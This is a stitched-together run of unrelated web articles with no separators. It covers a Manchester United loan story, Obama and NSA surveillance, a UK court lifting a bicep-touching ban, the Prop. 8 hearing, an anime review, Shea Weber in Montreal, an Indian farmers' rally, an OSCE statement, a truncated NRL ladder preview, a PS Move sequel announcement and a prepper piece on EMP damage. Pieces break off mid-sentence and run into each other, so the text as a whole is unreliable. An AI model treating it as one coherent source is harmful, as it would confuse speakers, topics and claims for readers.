Manchester United misfit Federico Macheda believes he will go out on loan this week and admits he is likely to leave Old Trafford for good next summer.
The striker made a memorable first-team breakthrough in 2009 when he scored vital match-winning goals against Aston Villa and Sunderland, but his progress has stalled since then.
Unsuccessful loan spells at Sampdoria, QPR and Stuttgart followed before he was shipped out to Doncaster Rovers earlier this year, where he scored three goals in five games before injury cut short his spell at the Yorkshire club.
The 22-year-old, who is out of contract in June, is seeking another loan move and says he will seek pastures new for good at the end of the season.
He told TMW: “This week I should go on loan somewhere – it’s going to be an important week. I need to find continuity until January. Then in January, we will see.
“I have not had the opportunity to talk about [my future at United], but I have not been fielded. I think my future will be far from Manchester. Let’s see how this year goes, then maybe I could go back to Italy.”WASHINGTON -- President Barack Obama continued to defend the National Security Agency's widespread surveillance programs behind closed doors to Senate Democrats on Wednesday, but on Thursday he faces a tougher audience.
A group of lawmakers who have expressed concerns about privacy and transparency in the wake of the NSA revelations will meet with the president at the White House Thursday. The meeting was confirmed by Sen. Mark Udall (D-Colo.), who told The Huffington Post he would be in attendance and "looked forward" to further discussion around possible changes to the scope of the NSA's data collection.
Other senators whose attendance was confirmed to HuffPost include Ron Wyden (D-Ore.) and Dick Durbin (D-Ill.), as well as two of the NSA's top defenders -- Senate Intelligence Committee chair Dianne Feinstein (D-Calif.) and ranking member Saxby Chambliss (R-Ga.). Politico reported that some members of the House of Representatives will also participate, including Intelligence Committee Chairman Mike Rogers (R-Mich.), ranking member Dutch Ruppersberger (D-Md.) and Judiciary Chairman Bob Goodlatte (R-Va.).
A White House official later confirmed the list of attendees, noting Patriot Act author Rep. Jim Sensenbrenner (R-Wis.) would also be present, and said the purpose of the meeting was "to discuss key programs under the Foreign Intelligence Surveillance Act." But lawmakers and aides were reluctant to offer specifics. One Senate Democratic aide said the meeting was initiated by the White House.
"The fact that this meeting is taking place shows the efforts of senators like Udall and Wyden are paying off," the aide said.
Udall and Wyden, who serve on the Senate Intelligence Committee, have long warned of the scale of the government's surveillance methods and introduced legislation last month that would limit the federal government's authority to collect data. The two Democrats took to the Senate floor Tuesday to escalate their criticism of the White House, accusing top intelligence officials of "misleading" the American public and possibly violating the law.
Other civil liberties advocates in Congress have offered a number of bills that not only curb the surveillance but also declassify the Foreign Intelligence Surveillance Court opinions used to justify the programs. Although the subject took a backseat in recent weeks to other pressing issues such as immigration reform and student loans, momentum picked back up last week around an amendment from Rep. Justin Amash (R-Mich.) that would stop the NSA's collection of phone records.
The measure was narrowly defeated in the House, but to many, the razor-thin margin of defeat was indicative of a growing desire among lawmakers to revisit the legislation under which the NSA programs are considered lawful: Patriot Act Section 215 and FISA Amendments Act Section 702.
Sensenbrenner even threatened to allow Section 215 to expire if the administration neglected to make changes to how it interprets the law and carries out surveillance.
But concerns about the scope of the NSA programs didn't even come up during Obama's meeting with House Democrats Wednesday, according to some lawmakers.
"It should have come up, but it didn't," said Rep. Jackie Speier (D-Calif.).
"Nobody asked the question," said Rep. Marcia Fudge (D-Ohio). "I was surprised."
Rep. Jerrold Nadler (D-N.Y.), who has called for oversight hearings on NSA programs, said questions about surveillance likely didn't get asked because only about eight or nine members got to ask questions in the meeting.
"There were about 30 people in line at the microphone," Nadler said. "Most of them didn't get to ask a question."
In the Senate, it was a different story. Durbin told reporters Democrats in the upper chamber had "a good discussion" with Obama about the NSA.
"There are still some unresolved issues in my mind," Durbin said. "I think if there's more transparency, and a real court proceeding, there'll be a lot more confidence that there's a check on the power of any executive."
He added that Obama seemed open to his suggestion that FISA court proceedings be more "adversarial," an idea backed by officials from the NSA, the Department of Justice and the Office of the Director of National Intelligence.
But according to Sen. Ben Cardin (D-Md.), the president was firm in his defense of the programs in their current form.
"He was very strong about the fact of keeping America safe and doing it in a way that respects the privacy of Americans," Cardin told reporters in response to a question from HuffPost. "He felt there's always ways to improve, but that the knowledge factor of what is being done currently, if most Americans really focused on it, they would want us to do what they're doing."
Maine Sen. Angus King, an independent who caucuses with Democrats and serves on the Intelligence Committee, said Obama reiterated his call for a "balance" between privacy and national security, but also invoked the Boston Marathon bombings as an example of where data collected by the NSA helped "identify whether there was a great plot."
Asked by HuffPost if he felt the president would yield to some of the concerns expressed by lawmakers, King flatly replied, "He said he will listen."Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Modern-day bogeyman Akinwale Arobieke has had a 10-year ban on touching men’s biceps lifted.
The Liverpool ‘muscle fanatic’s’ long-held fascination with pumped up physiques has led to notoriety and repeated brushes with the law.
He is known for approaching younger males and striking up conversations about weight training, before touching and measuring their muscles, and then inviting them to squat his body weight.
Now Mr Arobieke, 54, of Devonshire Road, Aigburth has vowed to ‘reinvent himself’ in a quest for a ‘fresh start’.
In 2003 he was jailed for six years after being convicted of harassing 15 well-muscled males.
Three years later, while he was still behind bars, a Sexual Offences Prevention Order (SOPO) was made, on the application of Merseyside Police, which banned him touching men’s muscles and going to gyms.
Since the SOPO was made, Mr Arobieke has appeared repeatedly in court accused of breaching it.
Now the ban has been scrapped - after Mr Arobieke successfully appealed against it.
The move brings to an end a lengthy and expensive series of hearings for alleged breaches stretching from North Wales to Manchester which have led to him spending months behind bars on remand.
Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now
Representing himself in court, Mr Arobieke argued that while his behaviour had breached the court order, it was not actually criminal in its own right and it was not sexual.
He said if his behaviour did cross the line into criminal behaviour, then he should be dealt with under assault charges or sex charges like any other citizen.
He said: “If it’s not consensual I’ll get arrested. The common law protects every member of the public.”
Judge Richard Mansell QC, sitting at Manchester Crown Court, said while Arobieke’s breaches of the order were a ‘serious matter’ - the restrictions it placed on his freedoms could ‘no longer be justified’.
The judge said lifting the order would allow him to pursue his interest in an ‘appropriate venue’ like a gym or a bodybuilding event.
The Judge said: “The ban on touching muscles is just not on
“I’m not into bodybuilding myself, but I’d have thought men who have muscles in their arms the diameter of my leg are the sort of men who will admire each other’s bodies. They don’t build the body up to hide it under loose-fitting sweatshirts. They are men likely to talk and weigh and measure each other.”
The lifting of the SOPO came as Mr Arobieke was given a suspended sentence after admitting flouting it four times.
The court heard that in October 2013 he struck up a conversation with a 21-year-old on a Llandudno to Manchester train, and during the journey measured his bicep.
In February 2015 he clenched a 17-year-old boy’s calf muscle after befriending him at bus stop at Piccadilly. A month later, he again approached the teenager, who asked him for selfies to show his girlfriend after they got on the bus together.
The court heard Mr Arobieke then explained to him how he was a ‘muscle fanatic’ and asked if he would ‘squat’ him. The pair got off a bus together and went to a piece of wasteland where he ‘instructed’ the teenager to lift his body weight. The boy did this three times.
The two men are among a number who have made allegations against Mr Arobieke in recent years.
In his concluding remarks, the judge said that Mr Arobieke accepted he was ‘interested in, indeed obsessed’ with the musculature of men’, and that given his age and build, was ‘bound to instil at least a feeling of unease in young males, if not fear’.
But the judge added that the ‘obsessive and intimidating behaviour’ he had shown between 1997 and 2000 - which led to a six-year jail sentence - had not been repeated in recent years.
On top of this, none of the recent complainants formed the ‘slightest impression’ that he was deriving sexual gratification from them.
Judge Mansell told Arobieke: “A SOPO must only be imposed if it is necessary to protect members of the public from serious physical or psychological harm caused by the commission of sexual offences.
“You have not caused any of the complainants any physical or psychological harm in any of the cases where you have breached the order.
“Those complainants in the original case who suffered psychological harm did so because of the course of conduct you pursued in harassing them, not because of you touching their biceps or calf muscles or making them perform squat exercises.
“You have breached the order by doing that which you were prohibited in doing - but you have not displayed any overtly sexual interest in any of them, and you have not pursued and harassed any of them as you did the complainants in the late 1990s.
“The discharge of the SOPO gives you a clean slate whereby you are now on trust to behave in an appropriate manner towards other people. You now have the freedom to pursue your interest in bodybuilding and weight training and can do so not in the clandestine manner in which you have approached people and discussed these matters, but in the appropriate venue, namely a gym or bodybuilding events.
“If you behave in a manner which makes another male feel uncomfortable, or in a manner whereby you use your size and stature to overbear their consent, you risk being accused of either a common assault or more seriously a sexual assault. If you pursue anybody with the kind of obsessive manner which you did 20 years ago then you will undoubtedly be prosecuted for similar offences.”
The judge also lifted an order which banned Mr Arobieke from going to Llandudno.
The judge gave Arobieke an 18 month suspended sentence for the breach offences, suspended for two years, with a 60 day rehabilitation order and a warning that if he breached it he would jail him.Arguing for Prop. 8, Ken Starr says any right can be taken David Edwards and Stephen C. Webster
Published: Thursday March 5, 2009
Print This Email This Famed Clinton prosecutor believes even free speech may be revoked by simple majority vote
California's battle over same-sex marriage went before the state's highest court Thursday, with civil rights lawyers seeking to overturn a voter-approved ban on gay weddings.
But it was Ken Starr, best known for prosecuting President Bill Clinton, who stole the show on Thursday after leveling an argument that a simple majority vote is enough to remove any right from a minority group.
The people "have the raw power to define rights," he told the court while arguing in favor of invalidating over 18,000 marriages.
"The right of the people is inalienable to change their constitution through the amendment process," said Starr. "The people are sovereign and they can do very unwise things, and things that tug at the equality principle."
Chief Justice Ronald George posed a hypothetical: what if the majority demanded the right to free speech be revoked?
"After much banter back and forth, Starr says they do," reported Advocate.com. The Los Angeles Times reported similarly on Starr's alarming response.
"So, what Starr is saying is that if the people had stripped all civil rights from gays and lesbians, he would argue to uphold that," opined the blog GayWired.
Outside the San Francisco courtroom, hundreds of supporters and opponents gathered for the hearing, which came 10 months after the court legalized gay marriage in a landmark ruling last May.
That ruling was cast into doubt last November when voters passed a change to California's constitution that redefined marriage in the state as a union between a man and a woman.
Supporters of same-sex marriage are seeking to have the results of the referendum, known as Proposition 8, quashed on the grounds that minority rights should not be vulnerable to a simple majority vote. Rights lawyers pressed the court to strike down Proposition 8 as discriminatory.
"Prop. 8 changes the basic nature of our government from one in which the majority protects the rights of minorities," said Shannon Minter, lead counsel for those seeking to overturn the measure.
"It takes away the right to be treated with equal dignity and respect... A simple majority cannot be allowed to take any rights away from a historically protected minority."
But justices strongly indicated they were leaning toward rejecting the requests to invalidate Proposition 8.
Justice Joyce Kennard, who voted with the majority in last year's 4-3 ruling that legalized gay marriage, repeatedly made it clear she disagreed that Proposition 8 was an illegal revision of the state Constitution.
Instead, she focused on voters' approval of the proposition, saying the court could not "willy-nilly disregard the will of the people to change the state constitution as they have in the past."
Kennard referred to a similar situation in a case involving the death penalty, when the California Supreme Court ruled it was unconstitutional. Voters later passed an amendment reinstating the death penalty, and the state Supreme Court refused to overturn the amendment.
Opponents of gay marriage meanwhile defended the right of voters to amend the state constitution.
Last November's referendum result came as a stinging blow to same-sex couples who six months earlier had celebrated after the Supreme Court voted in favor of overturning a previous ban on gay weddings in the state.
That historic decision prompted around 18,000 same-sex couples to exchange vows as California became only the second US state to allow gay marriage.
However, the issue was forced back on the agenda later by social conservative and religious groups, which successfully gathered enough support for Proposition 8 to be placed on ballots at November 4 polls.
When the measure was approved by a margin of 52.5 to 47.5 percent, the status of same-sex marriages was cast into doubt.
Justices appeared to be opposed to retroactively invalidating gay marriages performed last year before Proposition 8 was approved.
Before Thursday's hearing got underway, anti-gay marriage protesters outside brandished banners reading "Homo Sex is Sin," "Gay = Pervert" and "The Wages of Sin is Death."
A woman used a bullhorn to scream at same-sex marriage supporters, who responded by singing and playing guitars.
The court will render its decision within 90 days.
This video is from KGO, broadcast Mar. 5, 2009.
Download video via RawReplay.com
The following video of Prop. 8 protests outside the California Supreme Court was shot and posted to YouTube by the Contra-Costa Times on March. 5.
With wire reports.
Get Raw exclusives as they break -- Email & mobile Email - Never spam:get into it, the most hyped up anime of the season and quite possibly the most overrated anime of the year (I'm asking to get shot, aren't I?) - Boku dake ga Inai Machi, otherwise known simply as Erased. This review won't spoil anything beyond the first episode.The story centers around a 29 year old emo Pizza Hut employee who is trying to become a mangaka. On the other hand, he also has a reset power, "Revival", that occurs a few minutes before an accident, lending him the ability to stop said accident before it ever takes place. So yeah, he's basically a Final Destination lead. One day, while stopping an accident from happening he gets injured and in that time his mother moves in to live with him. The next day in Satoru's absence, his mother is stabbed in the back and killed in his apartment by some random guy with a fedora. Do you see the problem here? I said the next day which is quite literally the next day. We don't even get a full episode to get to know or sympathize with this character. Instead we just know her for half of the first episode until she is brutally murdered. Oh no, it's almost like Attack on Titan. Who didn't cry at the first episode of Attack on Titan?!Anyway, we don't know the man who did it nor do we know his intentions. When Satoru arrives to the crime scene, someone conveniently finds him next to his mother's corpse with blood on his hands. Everything is going downhill for Satoru as the police arrives when he is suddenly, out of nowhere sent 18 years into the past to the year 1988, which at the time he was merely a 10 year old elementary school student. It definitely isn't too far of a stretch to say this is a lame plot device at this point, especially now that he has no control over it. Also, I'd like to mention how further down the line Satoru says that it will be his last Revival. So how does this thing work? Plot convenience, duh.Prior to this it is also shown that a few kids from Satoru's school were murdered at that time period, namely our loli heroine, Kayo Hinazuki. Hinazuki was a troubled and lonely girl who never got along with anyone and was often abused by her mother. Satoru decides that as well as preventing his mother's death, he will also save Hinazuki before her birthday which is on the 2nd of March. Considering it's already mid February he doesn't have much time. The accused murderer of these kids was 23 year old Jun Shiratori or known to the children simply as Yuuki due to his courageous nature. He was a person who would always approach the lone students around his house, which already raises a giant red flag. However, Satoru always remembered Yuuki to be a kindhearted and happy guy who would never commit a crime.So obviously the show's primary element is mystery, which I have mixed feelings about. If the mystery is done well it can really lead to a great series, but that usually isn't very easy to pull off and more often that not it just falls flat. The worst mistake a mystery series can make in my eyes is when it raises so many questions but in the end fails to answer them, or maybe just leave it off at a cliffhanger like Rokka no Yuusha. Erased done well in that aspect, seeing as it didn't raise that many questions to begin with. See, what I think is the main problem in Erased's mystery department is the amount of suspects it brings up, or lack thereof. 4 episodes in I was pretty confident in my guess on who the killer was as it was so easy to trace back once you actually think about it. I would of been surprised if my guess was wrong to be totally honest, and that's not because I'm some sort of super-genius.I seem to have a very obvious bias when it comes to works done by A-1 Pictures. I thought the art style resembled their previous works too strongly and therefore it derived from the series for me as it didn't strike me as dark enough in tone, especially for the kind of series Erased is. So, much like the opening and ending, the art and animation slowly grew on me the further it went on. It's very soothing and visually appealing. Combined with a decent musical direction and atmosphere it even felt cinematic at times.I wasn't a very big fan of the opening at first to be honest but it gradually grew on me and is easily the best opening of the season and even one of my all-time favorites. That also applies to the ending, it's neat too. As for the OST, I'm indifferent about it. There wasn't anything that struck me as good or above average, it all just felt like regular background music to me but it does it's role, for what it's worth. The voice acting is rather impressive as everyone had a great performance. Seeing as both of Satoru's seiyuu never done any previous work, regarding anime at least impressed me quite a bit. I especially like the guy that does the adult version, his voice is very soothing. Aoi Yuuki was also really good at portraying Hinazuki's character but that is to be expected.The characters in Erased are for the most part incredibly lackluster - from the protagonist to the supporting cast. Because most of the series takes place in the past, a lot of the characters are just 10 year olds, which leads me to my next point - Most of these kids don't even act their age! At parts they act like full-grown adults which really derives from the show, why even bother making them kids in the first place? Looking at you, Kenya, Hinazuki.Satoru, while being more interesting than your harem protagonist doesn't have that much going for him, which is fine to a point because the characters aren't really where the series shines but his character could have definitely been more solid or maybe had a stronger personality. He doesn't seem like he particularly enjoys the time resets, but he still decides to help out. What a nice guy! The series has a much heavier focus on the past than the present, so for the most part we just get kid Satoru. Well, he's just a normal 30 year old man who's trying to save his 10 year old girlfriend from her seemingly inevitable demise. Sounds about right.Hinazuki is a very reserved and closed off girl but she opens up more and more as the series progresses. She gets abused by her parents for some unknown reason aka SHOCK FACTORRRRR. She suffers from the same problem as Satoru, as she doesn't have a personality that defines her either. Instead (for the most part) we are simply supposed to feel sorry for her and like her because of the predicament she's in. She is pretty cute though - good character.The supporting cast is also very lacking, filled with 1-dimensional characters. The reasoning of a lot of characters can be pretty unreasonable and even ludicrous at times - people getting divorced because of a chocolate bar, etc. Then you have characters like Hinazuki's mother who, every time she is on screen tends to turn this show into a misery porn galore.Kenya is another instance of wasted potential. They done as much as they could to make us understand that he is incredibly intelligent and by the end of it all, he barely does anything and his character is awfully utilized. I feel the same way about the killer as I've heard his reasoning is a lot clearer and better explained in the manga. It's not that surprising though as they did try to bash 8 volumes into a 12 episode series. All in all, the characters aren't done very well.I can sit here all I want and point out the flaws of the show, but truth be told, I had quite a lot of fun with it! I think this is mostly due to how the pacing was handled as it is very fast for pretty much the entirety of the series, yet tends to not feel rushed for the majority of the first half. Only at about the halfway point does the pacing start to affect my outlook on it and turns for the worst. Despite this, I was still entertained for most of the show. The two major downfalls here are the tremendous amount of plot conveniences all throughout the story and the (in my opinion) poorly done mystery.Erased is mediocre in every sense of the word. Despite that, I'd still argue that it's one of the better titles of the season. Does it deserve the hype, praise and to be ranked higher than LotGH? NO. The characters are awfully lackluster + the story is not that great as it has to rely on an iffy plot device and a ton of plot conveniences throughout. I wanted to say that it has more good than bad but A-1 stayed true to their nature and managed to ruin a promising show for me, once again.In the end, I don't think Erased is neither as good as some praise it to be nor as bad as others make it out to be, it's simply average. It's like a rollercoaster and the further you go down, the messier it becomes. However, if you're not a critical watcher and just want to have some fun, Erased is definitely your go-to this season. Sorry in advance if this review gives you suicidal tendencies for not giving it a perfect score.Frank Seravalli TSN Senior Hockey Reporter Follow|Archive
BROSSARD, Quebec — Shea Weber is already the most popular player inside the Montreal Canadiens’ dressing room — if only for the fact that teammates are practically knocking down coach Michel Therrien’s door to play with him.
They all want to be Montreal’s Roman Josi, who teed up Weber for 14 power-play goals in Nashville last season.
“Everybody wants that job,” defenceman Zach Redmond said, laughing. “You’ve got to earn it, though.”
Weber seemingly earned the respect of his peers and coaches before even setting foot in Montreal. On Tuesday night, a tougher sell awaits: Weber will audition for the first time to win the admiration of this hockey-crazed city, as the Canadiens pass the torch in their 99th home opener.
No one does theatre better than Montreal, and there will be plenty of it at Bell Centre without the usual pomp and circumstance. It will be fascinating to see how Weber is received.
Through two games, fanfare surrounding his addition has been muted. When it comes to Weber, this is a city still very much circumspect and guarded after their hearts were broken four months ago by the seismic swap that brought him to the city.
“We’ve got the best fans in the NHL, so they’re going to support Shea,” Therrien predicted Monday. “Not only for fans, but for the management and coaches and players, we’re all excited to get a guy like Shea Weber.”
There has been seemingly little buzz about Weber because, short of sending an opponent into the second row, there is little flash in his game.
Weber is not P.K. Subban. In most cases, he is the polar opposite — and Tuesday’s home opener will be the night many Habs fans finally rip that Band-Aid of realization off. His career will be forever intertwined with Subban, but in reality, the only metric worth measuring is what Weber accomplishes with the Canadiens and what Subban does with the Predators.
Two games in, Weber has been exactly as advertised. He has two assists, has played nearly 27 minutes per night and has been on the ice for one even-strength goal against.
Weber, 31, has averaged 33 shifts per game — five more than any other Montreal player, including defence partner Nathan Beaulieu.
“I’m not back there in meetings, hearing what [management] is thinking about that trade,” said Redmond, a Habs newcomer. “But I can tell you they got exactly what they wanted.
“He just does everything right. You can depend on him, you can trust him. That’s the No. 1 thing in the NHL: Can your coach trust you to do a job? The answer is yeah with him in every category.”
Weber will be appreciated by Montreal fans for the things he is not: someone who gains notoriety for being out of position or committing costly turnovers. He does about 20 things so smoothly that they won’t be noticed individually, except in the sum of their parts.
“He always makes the smart, right, simple play as the first play available,” Beaulieu explained. “It really makes it easy on me. He’s been great so far. I’ve just got to keep up.”
The Canadiens are hoping Weber’s lack of fancy edgework and dangling will not account for any downtick on the offensive end. Weber led all NHL defencemen in power-play goals (14) last season. Over the last five campaigns, he totalled just nine points fewer than Subban, but collected 37 more goals.
“That shot,” Redmond said, practically drooling. “You hear about it, but seeing it is another thing. It’s amazing.”
Shot aside, Weber’s presence is undeniable. Beaulieu likened it to Carey Price, simply in that “you follow him.” Redmond said Weber is a “voice if you need a voice” and he’s “just a good role model.”
“This guy means business,” Therrien said. “This guy is a true leader. And he’s a tough guy to play against. Nothing but good things to say about this man. We knew what we were going to get and this is exactly what we got. I really like what I’ve seen. We all do.”
Beaulieu, 23, said he is “just fortunate to be around” Weber.
“I feel like if my parents wanted me to watch or idolize someone, it would be Shea,” Beaulieu said. “He’s a good person to follow. He does everything the right way.”
In other words, it might take a half season of watching Weber to fully recognize his value; it probably won’t happen on opening night. Love him or loathe him, Weber is ready for whatever comes next. And he won’t be apologizing for any of it.
“I’m excited to be a part of it,” Weber said. “I was talking to some of the guys and they say how special [opening night] is. I’m definitely looking forward to it. It’s going to be a lot of fun.”
Contact Frank Seravalli on Twitter: @frank_seravalliSenior BJP leader and former finance minister Yashwant Sinha on Sunday castigated his own party for not fulfilling the promises made to farmers as he launched a campaign from Maharashtra’s Akola for their justice.
Advertising
Addressing farmers at a programme called “Kapus Soyabean Dhan Parishad” (cotton, soyabean and paddy rally), organised by Shetkari Jagar Manch, Sinha said the BJP had forgot the promise of 50 per cent minimum support price (MSP) it had made to the ryots before coming to power.
“Before coming to power, he BJP had promised to give 50 per cent over and above the minimum support price (MSP). But after coming to power, the party forgot the promise,” Sinha said, referring to Prime Minister Narendra Modi, who had made the promise in Vidarbha at a ‘Chai Pe Charcha’ programme before 2014 elections. “Just as Indian soldiers had carried out surgical strikes across border, the farmers will also carry out a surgical strike against the government till justice is achieved,” Sinha said.
The organisers have decided to take out a procession of farmers to the district collector’s office to present a memorandum of demands. The scheduling of the Parliament’s winter session has earned the Centre lot of flak from the opposition and Sinha rubbed it in by saying “some elections are considered so important that even the parliament session is postponed for them”.
Sinha also questioned Modi’s claim that the effect of demonetisation had subsided. “Demonetisation was responsible for the collapse of prices of farm produce. The government claims that the effect has subsided, but the losses caused by it are yet to be recouped,” said Sinha, who is expected to remain in Akola over the next few days.
Rebellious Bhandara-Gondia BJP MP Nana Patole, who had earlier announced his participation in Sunday’s programme, gave it a miss on account of his “niece’s marriage”. He had, however, said he would attend the Monday’s programme at Akola. Swabhimani Shetkari Sanghatan chief Raju Shetty will also join the agitation on Monady. The Parishad convener, Vijay Deshmukh, claimed over 7,000 farmers would participate in the programme. On Sunday, however, less than 500 people attended the programme. Some local Congress and NCP leaders also participated in the Parishad.
Advertising
Among the major demands by the Parishad are the purchase of all farm produces by the government at MSP, Rs 50,000 per acre compensation for cotton farmers affected by pink boll-worm disease, Krishi Sanjivani scheme for farmers, resolution of issues related to farm insurance and relief to drought-affected villages.VIENNA, 29 August 2013 – The OSCE Representative on Freedom of the Media, Dunja Mijatović, expressed her concern today in a letter to the U.K. Prime Minister David Cameron about recent actions of the authorities against the Guardian newspaper.
“Using anti-terrorism legislation, threatening legal action and forcing journalists to destroy data creates a chilling effect on the media in the United Kingdom and beyond and represents a form of unacceptable prior restraint,” Mijatović said.
“It is difficult to fathom that civil servants acting under political instructions would threaten the editor of a major newspaper in the U.K. in the 21st century,” Mijatović said.
In her letter, the Representative also pointed to the detention and questioning of David Miranda and seizure of his electronic equipment under the Terrorism Act of 2000 as he passed through Heathrow Airport a week ago, an issue that she already raised with the U.K. authorities on 19 August.
“I do not in any way challenge the legitimate right of governments to fight terrorism and to protect our societies, but the laws should not be misapplied or abused so that they hinder the work of journalists and suppress free media and the right of free expression,” Mijatović said.
“It is encouraging that civil society and the journalism community reacted promptly to these attacks on free media. I appeal to the authorities to carefully consider any future steps, so that to ensure that they support the right of media to report,” Mijatović concluded.THE end of the road is within sight.
The Origin period is finally done and dusted and we’ve arrived at the business end of the season, with the top four to be hotly contested right up until round 26 and seventh and eighth on the ladder well and truly up for grabs.
With seven rounds left in the regular season every game matters.
This is The Run Home, where foxsports.com.au analyses every clubs’ remaining fixture to project how the rest of the year might play out.
Which teams could take advantage of an easy draw and which clubs could be in trouble based on a tough last couple of months?
Here’s how we think it will play out.
LIVE stream EVERY MATCH of the last seven rounds of the 2017 NRL premiership on FOX SPORTS. Get your free 2-week Foxtel Now trial and start watching in minutes. SIGN UP NOW >
PROJECTED FINALS SERIES
First Qualifying Final: Storm (1) v Sharks (4)
First Elimination Final: Broncos (5) v Panthers (8)
Second Elimination Final: Cowboys (6) v Eels (7)
Second Qualifying Final: Sea Eagles (2) v Roosters (3)
PROJECTED END-OF-SEASON LADDER
1. Storm (42pts)
2. Sea Eagles (36pts)
3. Roosters (36pts)
4. Sharks (36pts)
5. Broncos (36pts)
6. Cowboys (34pts)
7. Eels (34pts)
8. Panthers (32pts)
9. Dragons (30pts)
10. Raiders (26pts)
11. Titans (22pts)
12. Rabbitohs (20pts)
13. Warriors (20pts)
14. Bulldogs (20pts)
15. Wests Tigers (14pts)
16. Knights (10pts)
The Storm are looking specials to secure the minor premiership. Source: Getty Images
THE TOP EIGHT
1. Melbourne Storm (30pts, 120+/-)
Formline: LWLWW
Remaining games: Raiders (away), Sea Eagles (home), Cowboys (away), Roosters (home), Knights (away), Rabbitohs (home), Raiders (home)
Remaining draw difficulty (easiest to hardest): |
y Drummer
Download: Blu & Madlib – Funky Cowboy Meets The Funky DrummerWhile Sorcery seemingly failed to deliver that elusive triple-A PlayStation Move title Sony promised, the company isn’t giving up on the peripheral, lining up the all-new Sports Champions 2 for a fall 2012 launch.
As you might have guessed, it’s the sequel to the 2010 PS Move launch game Sports Champions, which surprisingly enough, was a "multi-million unit-seller" according to Sony’s press blurb.
Developed by Zindagi Games and Sony’s San Diego Studio, the game will boast an expanded sports line-up including skiing, boxing, tennis, golf, bowling plus “a fully updated Archery experience.”
Said Jeremy Ray, producer at Sony Worldwide Studios: "Sports Champions 2 revives favorite features, including the surprisingly deep and challenging single-player Cup Play and the customizable Free Play mode, plus fun arcade Challenge rounds for each event.
"We’ve made a ton of improvements, too: Three-point PS Move calibration is no longer required (and it won’t sacrifice gameplay; player avatars can be created and customized per event; a new profile system enables everyone in the house to play together with their own avatars and settings; and the photo booth is more customizable and easier to use," he added.
Sports Champions 2 will also feature a new party game mode, which Ray goes on to detail:
You can play matches from any combination of events, including Challenge Rounds, and add up your score to see who reigns as the party champion. You can create your own match playlist, see photos and voices from each player during the game, and draw something humiliating (or nice!) on the hapless loser."
Is this likely to be the title to get gamers to dust off their PlayStation Move controllers? Or will it be yet another nail in the device’s coffin? Guess we’ll have to wait and find out, but we’re certainly keeping our fingers crossed it delivers the goods.
Stay tuned.
SourceYou’ve probably heard all about the horrible things that an EMP will do, if we are ever unfortunate enough to have an enemy set one off over the United States. (Or if we experience a Carrington-like major solar storm.)
It’s actually pretty scary, especially when you take the time to consider how much we depend on electricity and electronic gadgets in our day-to-day lives. Never before has there been a society that has been so dependent on such a resource.
According to the report of the EMP Commission to Congress, a large part of the U.S. population would end up dying in the year following an EMP attack. That’s got a lot of people scared, and rightly so, especially if they don’t understand EMP and how it affects electronics.
How Does EMP Damage Electronics?
Basically, an EMP attacks electronics in two ways. The first is a direct attack in the form of energy similar to radio waves. However, the amount of electricity provided via an EMP is enormous, when compared to the amount of electricity in the radio waves we receive from our local radio and television stations. It even makes the amount of electricity from lightning look small by comparison.
This radio wave attack will hit all sorts of electronic devices directly. The worst attacks will be on devices which have wires connected to them that can act as antennas. So, computer systems and home entertainment systems will get hit hard, due to all the cables attached to them.
Amazing Breakthrough In Compact Portable Backup Power — Charges Your Phone, Laptop And Even Jump Starts Your Car!
Some small electronics, such as cell phones and MP3 players, may actually survive in this regard, simply because they don’t have the “antenna effect” of wires attached to them.
The second way that an EMP attacks electronics is via the power grid. The millions of miles of electric wires strung back and forth across the country act as an immense antenna for radio waves, including those that come from an EMP. So, when the EMP reaches power lines, it will be absorbed, generating a huge spike.
Normal surge protectors that are used for protecting electronic equipment won’t be effective against the voltage surge from an EMP for two reasons. First of all, they are designed for the much lower electrical power surge created by lightning. Secondly, the voltage spike from an EMP is much faster than that created by lightning. So, having equipment connected to a surge protector will mean nothing.
This one-two punch that an EMP creates will make it very difficult for any solid-state electronics to survive. Even equipment that is housed in metal cases, which should function as a faraday cage, is susceptible to damage, simply because of the voltage spike.
What Might Survive?
We need to understand that an EMP only damages solid state electronics. That means the stuff that’s mounted to circuit boards inside radios, cell phones, televisions, computers and other electronic devices. They simply can’t handle the power of an EMP.
Here are a few items that likely will survive:
1. Appliances*
There are a number of electric devices we use that aren’t controlled by solid-state electronics. A clothes washer, for example, is nothing more than a motor, a mechanical timer and a couple of valves. Like most appliances, there isn’t anything sensitive enough in a washing machine to be fried by the EMP. Therefore, most home appliances will probably survive.
*Let me put a caveat on this. Manufacturers are moving more and more toward adding solid-state controls to appliances. So, the fancier appliances may not work, even though the simpler models will.
2. Vintage electronics
Most true vintage electronics doesn’t use solid-state components, especially if it contains vacuum tubes. While we’re talking some fairly old equipment here, if you have an old radio or television that uses tubes, it will probably still work when your new fancy one won’t.
3. Solar panels
Surprisingly, solar panels weather an EMP very well. You’ll see a slight degradation of their power output — somewhere between 5 and 10 percent — but that’s about it.
The Latest Breakthrough Advancement In Solar Backup Generators Is Here!
The panels will still produce power and will do so for many years.
4. Small, portable electronics
There is a chance that small electronics, on the order of a cell phone, may survive. A lot will depend on the location of the device when the EMP hits. Even minimal protection may be enough so that these devices will continue to function (obviously), the cell towers may be out of order). At least you’ll be able to access information from your phone.
The common understanding is that electronics will survive if they are stored in a faraday cage. This is any sort of metal container which can be closed. It even works if the container is made out of fencing or chicken wire.
Of course, many of us spend at least part of our time inside large “faraday cages.” Metal buildings qualify as a faraday cage, as long as the electronics are insulated from direct contact with the building itself. So, people at work may find that their tablet and cell phone work, even if their computer is fried by the voltage surge coming through the grid.
5. Cars
While most people think that cars will be shut down by an EMP, the report from the EMP Commission provides details on EMP testing conducted by cars. This testing utilized a cross-section of automobile models sufficiently large as to represent all modern cars in the country. The worst problem any car had was stalling and having to be restarted by the driver.
Since cars are made of metal, they are a natural faraday cage. That means that the electronics within the cars are protected from EMP. To be extra sure, storing a spare computer brain for your cars in a faraday cage would ensure that you could start it. The problem, though, may be that the grid will be down and gas pumps won’t work – meaning you won’t have gas for your car.
Finally, at any one time there are millions of dollars worth of electronic devices stored in a wide variety of warehouses, scattered all across the country. In most cases, these warehouses are metal buildings with metal roofs. That makes them faraday cages. So, the electronics stored inside those warehouses should survive the attack. All that will be required is to unpack them and set them up.
You can also see other articles such as: How To Survive Without The Pharmacy; How To Make Pemmican: A Superfood Survival That Can Last 50 Years
